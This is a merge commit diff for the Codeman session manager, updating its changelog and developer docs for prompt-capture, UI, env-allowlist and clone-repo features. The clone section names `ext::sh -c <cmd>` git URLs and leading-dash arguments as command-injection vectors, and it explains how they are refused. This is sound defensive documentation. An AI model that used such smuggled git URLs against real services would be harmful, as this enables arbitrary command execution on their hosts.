Merge remote-tracking branch 'origin/master' into pr251-review-fixes

# Conflicts:
#	CLAUDE.md

.changeset/1d154a73.md

@@ -1,5 +0,0 @@
----
-"aicodeman": minor
----
-
-Read My Mind phase 1: per-case intent profiles (docs/readmymind-plan.md). Codeman can now capture the prompts a user actually submits (from the Claude session transcript, opt-in via the new synced readMyMindEnabled setting, default OFF) into a per-case intent profile alongside user-stated goals, stored in ~/.codeman/intents.json (mode 0600, never searched). New endpoints GET/PUT/DELETE /api/sessions/:id/intent (ownership-scoped, strict schemas), a transcript:user_prompt event on TranscriptWatcher, and agent-skill coverage (SKILL.md recipe + endpoints.md rows) so agents can read and record the user's intent. Groundwork for the phase-2 predictor button: nothing is ever auto-sent.

CHANGELOG.md

@@ -1,5 +1,18 @@
 # aicodeman
 
+## 1.16.1
+
+### Patch Changes
+
+- 161f1da: Read My Mind phase 1: per-case intent profiles (docs/readmymind-plan.md). Codeman can now capture the prompts a user actually submits (from the Claude session transcript, opt-in via the new synced readMyMindEnabled setting, default OFF) into a per-case intent profile alongside user-stated goals, stored in ~/.codeman/intents.json (mode 0600, never searched). New endpoints GET/PUT/DELETE /api/sessions/:id/intent (ownership-scoped, strict schemas), a transcript:user_prompt event on TranscriptWatcher, and agent-skill coverage (SKILL.md recipe + endpoints.md rows) so agents can read and record the user's intent. Groundwork for the phase-2 predictor button: nothing is ever auto-sent.
+- Home screen and phone touch targets.
+
+  The desktop welcome screen now lists your open tabs as a vertical column down its left gutter, which was previously dead space: one row per live session plus any saved web tabs, in tab order so the row badges match Alt+1..9, with case, backend and state on each row. Clicking a row enters that session. The column is width-gated (1180px and up) and never moves the centered welcome content.
+
+  Working state now reads the same everywhere it appears. A busy session shows a pulsing green dot ringed by the same spinner a tab draws while it loads, with a green halo, on the desktop home column, the phone home screen and the tab strip alike. Phone tabs got the bigger 9px glowing dot for the same reason.
+
+  Phone touch targets: the brand "C" that returns you to the home screen was roughly a 12x13px hit area, well under the 44px minimum. It is now a real 44x44 button, and the phone header grew from 36px to 44px to make that possible, which gives every other header control the same 8px. The simple keyboard accessory bar also swaps /clear for Tab (/clear and /compact stay in the extended bar), flushing locally buffered text to the terminal first so completion applies to what you just typed.
+
 ## 1.16.0
 
 ### Minor Changes

CLAUDE.md

@@ -43,7 +43,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
 2. **Frontend changes**: Use Playwright to load the page and assert the UI renders correctly. Use `waitUntil: 'domcontentloaded'` (not `networkidle` — SSE keeps the connection open). Wait 3-4s for polling/async data to populate, then check element visibility, text content, and CSS values
 3. **Only after verification passes**, proceed with COM
 
-The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.
+The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted. ⚠️ **`index.html` itself is the exception: it is read ONCE into `indexHtmlTemplate` in the `WebServer` constructor**, so editing markup in dev needs a server restart (edited `.js`/`.css` do not) — otherwise you debug a "CSS class that doesn't apply" that is really an element still missing from the served HTML.
 
 ## COM Shorthand (Deployment)
 
@@ -74,7 +74,7 @@ When user says "COM":
 
 CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
 
-**Version**: 1.16.0 (must match `package.json`)
+**Version**: 1.16.1 (must match `package.json`)
 
 ## Project Overview
 
@@ -124,10 +124,10 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 - **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
 - **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
 - **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
-- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` / `ANTIGRAVITY_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift. (`GOOGLE_*` is the deliberately-broad Vertex-AI namespace for Gemini — see Multi-CLI prefix discipline.)
+- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` / `ANTIGRAVITY_*` env vars, plus exact-key `CLAUDE_CONFIG_DIR`** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift. (`GOOGLE_*` is the deliberately-broad Vertex-AI namespace for Gemini — see Multi-CLI prefix discipline.) `CLAUDE_CONFIG_DIR` (#255, exact match via `ALLOWED_ENV_KEYS` in `schemas.ts`) points a session at a separate Claude account/config dir for per-client subscriptions; it persists to state.json (a path, not a secret; losing it on restart would silently switch accounts). ⚠️ A relocated config dir writes transcripts outside `~/.claude/projects`, so the response viewer, subagent windows, ultracode panel and Read My Mind capture go blind for that session unless the user symlinks `projects` back into the shared tree (`ln -s ~/.claude/projects <configDir>/projects`). → [architecture-invariants#per-session-env-overrides-exact-key-allowlist-and-claude_config_dir](docs/architecture-invariants.md#per-session-env-overrides-exact-key-allowlist-and-claude_config_dir)
 - **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
 - **Model choice flows via `settings.local.json`, NOT `--model` or env** — the App Settings **Claude Model** picker (`claudeModel` in `settings.json`) is read by `session-ui.js` at session create (wins over the legacy 1M-Opus toggles `opusContext1m`/`opusContext1mEnabled`), sent as the `modelOverride` payload field, and `updateCaseModel()` (`hooks-config.ts`) writes/deletes the `model` key in `<case>/.claude/settings.local.json`. This is the intended exception to the envOverrides rule above: model legitimately lives in `settings.local.json` (a soft default — in-session `/model` still works); env vars do not
-- **Multi-CLI prefix discipline** — env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*` vs `ANTIGRAVITY_*`) and the `ALLOWED_ENV_PREFIXES` allowlist in `schemas.ts` enforces this. Gemini additionally allowlists the **broad `GOOGLE_*`** namespace (intentional: Vertex AI auth needs `GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI`; it is the loosest allowlist entry, affecting only the user's own spawned CLI). When adding a setting, decide which CLI(s) it applies to and gate the env export accordingly. Never blanket-forward all prefixes. Resolver design pattern: `docs/opencode-integration.md`
+- **Multi-CLI prefix discipline** — env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*` vs `ANTIGRAVITY_*`) and the `ALLOWED_ENV_PREFIXES` allowlist in `schemas.ts` enforces this; non-prefix exceptions are exact keys in `ALLOWED_ENV_KEYS` (currently only `CLAUDE_CONFIG_DIR`), never a widened prefix. Gemini additionally allowlists the **broad `GOOGLE_*`** namespace (intentional: Vertex AI auth needs `GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI`; it is the loosest allowlist entry, affecting only the user's own spawned CLI). When adding a setting, decide which CLI(s) it applies to and gate the env export accordingly. Never blanket-forward all prefixes. Resolver design pattern: `docs/opencode-integration.md`
 - **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. This has caused real shipped bugs twice
 - **`xterm-zerolag-input` is single-source** — BOTH echo addons live ONLY in `packages/xterm-zerolag-input/src/`, bundled into TWO **gitignored** vendor files: `vendor/xterm-zerolag-input.js` (buffer overlay, entry `zerolag-input-addon.ts`) and `vendor/xterm-predictive-echo.js` (codex write-through, entry `predictive-echo-addon.ts`) — dev by `scripts/postinstall.js`, prod by `scripts/build.mjs`. `app.js`/terminal-ui.js only **consume** them via `new LocalEchoOverlay(terminal)` / `new PredictiveEchoOverlay(terminal)`; there is no inline copy. So: change the package source, then rerun the bundle step (`npm install` for dev, `npm run build` for prod). **Never hand-edit `app.js` for overlay behavior, and never commit the gitignored vendor bundles.** Always test on mobile after touching it. → [architecture-invariants#xterm-zerolag-input-is-single-source](docs/architecture-invariants.md#xterm-zerolag-input-is-single-source), `docs/local-echo-overlay-plan.md`
 - **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
@@ -160,7 +160,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 | **Attachments**  | `src/attachment-registry.ts`, `attachment-magic`, `generated-artifact-attachments`, `session-attachment-history`, `document-preview-cache`, `document-thumbnailer`, `document-conversion-limiter`, `config/attachment-guard` | See Key Patterns                                                                                 |
 | **Plan**         | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/` (`claude-md.ts` + `case-template.md`) | `templates/` holds the CLAUDE.md scaffold generated into new cases                                |
 | **Web**          | `src/web/server.ts` ★, `sse-events.ts`, `routes/*.ts` (20 modules + barrel; `session-routes.ts` ★), `route-helpers.ts`, `ports/*.ts`, `middleware/auth.ts`, `schemas.ts`, `self-update.ts`, `plan-usage-latest.ts`, `ws-connection-registry.ts`, `heic-jpeg-converter.ts` + `heic-jpeg-worker.ts` |                                                                                                  |
-| **Frontend**     | `src/web/public/app.js` (~5K lines, core) + 26 modules + `sw.js`                                       | See Frontend section for the load order, which is authoritative                                  |
+| **Frontend**     | `src/web/public/app.js` (~5K lines, core) + 27 modules + `sw.js`                                       | See Frontend section for the load order, which is authoritative                                  |
 | **Types**        | `src/types/index.ts` (barrel) → 20 domain files; also `src/types.ts` root re-export                    | See `@fileoverview` in index.ts                                                                  |
 
 ★ = Large, central file (>50KB) — read its `@fileoverview` first. All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
@@ -232,6 +232,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode--workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
 
+**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones a public repo into the caller's case space synchronously (request held open, bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` reports whether the URL can be cloned anonymously plus its real branches/tags. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: `ext::sh -c <cmd>` (and ANY `<name>::<payload>` helper) makes git run a command, so every `::` form is refused, a leading `-` is refused, and every spawn is an argv array with `--` before the operands. ⚠️ **Non-interactive or the open request hangs** — `gitNonInteractiveEnv()` closes the terminal/askpass/ssh/GCM prompt paths; `HOME`/`PATH` stay inherited, so a user's OWN credential helper may authenticate (Codeman still never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ Timeout kills the process GROUP (clone fans out into child processes), the destination is removed only if this attempt created it, and repository contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo-shipped `.claude/settings*` reported as a warning since its hooks run locally). The **Brain** picker sets the toolbar run mode on success. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
+
 **Cross-session search**: `GET /api/search` federates an in-memory search over session metadata, run-summary events, and attachment-history entries. The pure core `searchSources()` does substring matching with hard per-type caps: **no regex (so no ReDoS) and no filesystem reads (so no traversal)**. The server-private `externalPath` is never read. → [architecture-invariants#cross-session-search](docs/architecture-invariants.md#cross-session-search)
 
 **Web tabs** (dashboard URLs as tabs): a saved URL renders as a tab beside agent sessions. **NOT a sixth `SessionMode`** (no PTY, no tmux, no respawn), same reasoning that keeps Docker/remote-SSH as case overlays. Dashboards are **proxied through Codeman's own origin** by default, because a direct iframe fails three ways at once: prod is HTTPS so `http://` targets are blocked as mixed content, many dashboards send `X-Frame-Options: DENY`, and our own `default-src 'self'` CSP blocks cross-origin frames. Proxying leaves the prod CSP unchanged (`/webview/...` is `'self'`). ⚠️ The proxy is **NOT an API surface**: it authenticates on an in-memory capability in the path and is correspondingly exempt from the cookie + Origin checks; that exemption is fenced to safe methods and non-`/api` paths and is pinned by `test/webview-auth-exemption.test.ts`. ⚠️ Iframes omit `allow-same-origin` unless a dashboard is explicitly marked `trusted`, and `Authorization`/`codeman_session` are stripped upstream in **both** modes so `CODEMAN_PASSWORD` cannot leak. ⚠️ A sandboxed frame is **opaque-origin**, which breaks two things `curl` can never reproduce: its runtime-built root-absolute URLs escape `<base>` (fixed by an injected `runtimeUrlShim()`), and its same-host `fetch`/XHR are CORS-checked with `Origin: null` (fixed by `buildProxyCorsHeaders()` plus exempting the proxy from the global `OPTIONS`-204 short-circuit in `registerSecurityHeaders`). Both present as the dashboard's own "Failed to fetch" while the page renders fine. → [architecture-invariants#web-tabs](docs/architecture-invariants.md#web-tabs), `docs/web-tabs.md`
@@ -246,12 +248,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 ### Frontend
 
-Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `i18n.js`(1.5) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `sanitize-html.js`(5.6) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `cron-ui.js`(9.7) → `settings-ui.js`(10) → `panels-ui.js`(11) → `ultracode-panel.js`(11.5) → `approvals-ui.js`(11.6) → `admin-ui.js`(11.7) → `session-ui.js`(12) → `webview-tabs.js`(12.5) → `mobile-overview.js`(12.55) → `entrance-animations.js`(12.6) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15) → `ultracode-windows.js`(15.5) → `image-input.js`(16). `i18n.js` translates static + newly inserted application DOM while skipping terminal/response/file/user-name surfaces; `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
+Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `i18n.js`(1.5) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `sanitize-html.js`(5.6) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `cron-ui.js`(9.7) → `settings-ui.js`(10) → `panels-ui.js`(11) → `ultracode-panel.js`(11.5) → `approvals-ui.js`(11.6) → `admin-ui.js`(11.7) → `session-ui.js`(12) → `webview-tabs.js`(12.5) → `mobile-overview.js`(12.55) → `home-sessions.js`(12.56) → `entrance-animations.js`(12.6) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15) → `ultracode-windows.js`(15.5) → `image-input.js`(16). `i18n.js` translates static + newly inserted application DOM while skipping terminal/response/file/user-name surfaces; `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
 
 **Entrance animations** (`entrance-animations.js`, all OFF by default): opt-in animations for the four things that appear when work starts, chosen per surface via `data-tab-anim` / `data-term-anim` / `data-win-anim` / `data-line-anim` on `<html>`. Defaults are the `legacy` theme, so an untouched install behaves exactly as before and every hook short-circuits on its first line. ⚠️ Tabs and connection lines are **destroyed mid-animation** on every re-render (`_fullRenderSessionTabs()` replaces the strip's innerHTML; `_updateConnectionLinesImmediate()` does `svg.innerHTML = ''`), so both are tracked by id and re-applied to the fresh element with a **negative `animation-delay`** to resume rather than restart. ⚠️ The terminal-pane styles may animate **transform / opacity / clip-path only**, xterm's FitAddon derives rows+cols from `getComputedStyle(parent).width/height`, so animating width/height/padding there would resize the PTY. ⚠️ Window styles other than `beam` transform the window, which moves the rect its connection line is aimed at; `beam` deliberately animates opacity/filter only so its line can draw toward a stable target. Persisted to its own `codeman:*Anim` localStorage keys (per-device, deliberately NOT in the `.strict()` `SettingsUpdateSchema`); picker in App Settings → Appearance, full per-surface lab at `?animlab=1`.
 
 **Phone overview home screen** (`mobile-overview.js`, phones only, per-device `mobileOverviewEnabled`, default ON): under 430px the "C" logo shows a session overview (NEEDS YOU / CURRENT SESSIONS / PAST SESSIONS) instead of the welcome overlay; tablet and desktop are unchanged. The branch lives in `showWelcome()`/`hideWelcome()` (terminal-ui.js) behind `shouldUseMobileOverview()`, which is **width-driven** (`getDeviceType() === 'mobile'`) because this is a layout decision, unlike the settings namespace which stays handheld-based. ⚠️ The container ships with the `hidden` attribute and only this module removes it: never give `.mobile-overview` a bare `display` rule, since desktop does not load `mobile.css` (`media="(max-width: 1023px)"`) and would then render it unstyled. Live re-renders ride on the tail of `_renderSessionTabsImmediate()` (every state change it needs already funnels there); PAST rows come from one `_fetchUnifiedSessions(60)` per home-screen visit and resume through the shared `resumeHistorySession()`, so they behave exactly like the welcome screen's Resume list. ⚠️ Two things must stay in lockstep with surfaces outside this module, because divergence reads as a bug rather than a style: the split Run button carries the **toolbar's own classes** (`btn-toolbar btn-run mode-<backend>` / `btn-run-gear`) so the per-backend gradient and the light-skin overrides apply unchanged (mobile.css must therefore set no `background`/`color` on it), and row status uses the **session-tab language** (green dot when fine, `pulse` while working, yellow blinking row when waiting for input, red blinking row when a question is pending, mirroring `tab-alert-idle`/`tab-alert-action`). The picker mirrors the toolbar run-mode menu (`setRunMode()` + `run()`, `openWebviewFromMenu()` for saved dashboards) and deliberately omits its Recent-Sessions block, since PAST SESSIONS is that. Status pills carry `data-i18n-skip` (generic words like "idle" collide with state strings elsewhere).
 
+**Desktop home tab column** (`home-sessions.js`, desktop only): the welcome overlay centers ~560px of content in a ~1400px window, so its left gutter is dead space; it now carries the open tabs as a vertical list. Rows are in **tab order**, not sorted by urgency like the phone overview, because the row badges are the Alt+1..9 indices. State classification is REUSED from mobile-overview.js (`_mobileOverviewState`/`_mobileOverviewCaseFor`), which is why the module loads after it. ⚠️ The column is `position: absolute` so the centered content never moves, which is exactly why it needs a **width gate in two places** — `HOME_SESSIONS_MIN_WIDTH` (1180) in the JS plus a `max-width: 1179px` media query as the backstop for a resize that outruns the matchMedia listener; drift between them means a column overlapping the search panel, and `test/home-sessions.test.ts` pins them equal. ⚠️ `.home-sessions` is `display: flex`, so `[hidden]` must be re-asserted as `display: none` or the module's only visibility lever does nothing. Working state is deliberately byte-identical to the phone's: pulsing green dot + the `tab-load-spin` ring reused from the tab strip + the same green halo (added to `.mobile-overview-dot--working` at the same time), so "working" reads the same on every surface. Live re-renders ride the tail of `_renderSessionTabsImmediate()` alongside the phone overview.
+
 **Command palette + shortcut registry**: `Ctrl/Cmd/Alt+K` opens the session palette; shortcuts live in a rebindable registry (`DEFAULT_SHORTCUTS`/`getShortcutRegistry()`/`matchesShortcutEvent()` in app.js, overrides in `settings.shortcutOverrides`). ⚠️ Palette-chord keys must ALSO be swallowed in `attachCustomKeyEventHandler` (terminal-ui.js) or xterm writes the control byte (0x0B) into the PTY. ⚠️ `saveAppSettings()` rebuilds settings from the DOM, so keys edited elsewhere (`shortcutOverrides`, `showTokenCount`, `showCost`) need explicit `_prev` carry-over. ⚠️ **Smart copy (`Ctrl+C`)** lives in that same handler: with a selection it copies, with none it must `return true` **without** `preventDefault()` or the interrupt is lost. `copyTerminalSelection` is deliberately absent from `SHORTCUT_ACTIONS` because the generic capture loop preventDefaults every match it dispatches. → [architecture-invariants#command-palette-and-shortcut-registry](docs/architecture-invariants.md#command-palette-and-shortcut-registry)
 
 **Per-device vs synced settings**: the `displayKeys` set in settings-ui.js is a **client-side merge policy**, not a wire filter. A display key seeds from the server only when localStorage has no value for it, which is what prevents one device overwriting another; `showPlanUsageLimits` is additionally `delete`d from the incoming payload outright. Separately, `SettingsUpdateSchema` is `.strict()` and simply **does not declare** `skin`, `showFileViewerButton`, `showCronButton`, `webglRendererEnabled`, `localEchoEnabled`, `cjkInputEnabled`, or `extendedKeyboardBar`, so sending one of those is a validation error. The rest (`showResponseViewer`, `showPlanUsageLimits`, `language`, and most `show*` keys) ARE in the schema and do persist server-side; they are per-device by client policy only. ⚠️ Adding a new per-device setting means deciding **both** questions: membership in `displayKeys`, and presence in the schema.
@@ -306,7 +310,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 ### API Routes
 
-~200 handlers across 23 route files in `src/web/routes/`: system (45), sessions (34), cases (27), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), approvals (3), readmymind (3), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+~200 handlers across 23 route files in `src/web/routes/`: system (45), sessions (34), cases (29), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), approvals (3), readmymind (3), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
 
 **HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
 

docs/architecture-invariants.md

@@ -42,6 +42,10 @@ Implementation detail extracted from `CLAUDE.md` so that file stays small enough
 
 **Input**: `session.writeViaMux()` for programmatic/curl input — tmux `send-keys -l` (literal) + `send-keys Enter`. Single-line only (fire-and-once). Interactive **browser** input goes through a durable **exactly-once** layer: each frame carries a stable `clientId` + monotonic per-session `seq`, persisted to localStorage until the server ACKs (`{t:'ia',seq}` over WS, or HTTP 2xx), so a dropped link/reconnect can't lose or double-deliver a prompt. **WS resilience** (#149): the upgrade URL carries `cid = clientId + ':' + perTabNonce`, and `ws-connection-registry.ts` supersedes only same-TAB reconnects (two tabs on one session coexist; input frames keep the bare `clientId` for seq dedup); reconnects back off exponentially (attempts preserved across `_connectWs`), and the header connection chip renders from a real `_wsState` lifecycle (`connecting`/`connected`/`fallback`/`reconnecting`/`disconnected`).
 
+### Per-session env overrides: exact-key allowlist and CLAUDE_CONFIG_DIR
+
+**The env allowlist has two tiers, and exceptions go in the exact-key tier, never a widened prefix** (#255): `ALLOWED_ENV_PREFIXES` in `src/web/schemas.ts` carries the CLI-namespace prefixes, and `ALLOWED_ENV_KEYS` carries exact keys (currently only `CLAUDE_CONFIG_DIR`). `CLAUDE_CONFIG_DIR` relocates the Claude CLI's user config (credentials, settings, stats), which is how one machine runs sessions on separate Claude subscriptions: point a case's sessions at e.g. `~/.claude-clients/acme` via `envOverrides` and run `/login` there once against the client's account. The exact match matters: `CLAUDE_` as a prefix would open every future Claude CLI variable unreviewed, and near-misses (`CLAUDE_CONFIG_DIR_EXTRA`) stay rejected (`test/env-overrides-schema.test.ts`). No new security boundary is crossed: sessions already run as the server's OS account, and `applyEnvOverrides()` shellescapes values into socket-scoped `tmux setenv`. Two carry rules: **(1)** the key must survive `getEnvOverridesForPersist()` in `session.ts` (it is a path, not a secret; dropping it from state.json would silently move a rebuilt-after-reboot session back to the default account); **(2)** ⚠️ a relocated config dir writes transcripts outside `homedir()/.claude/projects`, which `subagent-watcher.ts`, `workflow-run-watcher.ts`, the response-viewer routes and Read My Mind capture all hardcode — those surfaces go blind for such a session. Documented workaround: symlink the transcripts back into the shared tree (`ln -s ~/.claude/projects <configDir>/projects`), keeping credentials separate while the watchers keep working.
+
 ### Agent wait primitives
 
 **Agent wait primitives** (`GET /api/sessions/:id/wait`, `GET /api/sessions/:id/wait-output`, and the `wait`/`waitTimeout` fields on `POST /api/sessions/:id/input`): bounded long-polls that let an agent driving Codeman from a shell tool block until something happens. They exist because SSE was the only "tell me when" channel Codeman had, and a curl-driven caller cannot practically hold a stream and parse events inline. The blocking core is `src/web/session-wait-registry.ts` (no IO, no `Session` reference, so it unit-tests in isolation), bounds live in `src/config/agent-wait.ts`, and the wiring is three `notifySignal()` calls next to existing broadcasts (`session-listener-wiring.ts` for `working`/`idle`/`exit`, `hook-event-routes.ts` for `stop`/`blocked`) plus `notifyOutput()` riding the already-attached `terminal` listener. Design: `docs/agent-control-plan.md` §3; wire contract: `docs/api-reference.md`.
@@ -130,6 +134,21 @@ The general rule: **any new endpoint that turns a caller-supplied `sessionId` in
 
 Tests: `test/file-editing-policy.test.ts` (pure policy), `test/routes/file-write-routes.test.ts` (deliberately **unmocked fs** against a real temp workspace — symlink/TOCTOU/mode behavior must be exercised for real).
 
+### Clone a repository as a case
+
+**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`).
+
+- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
+- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL).
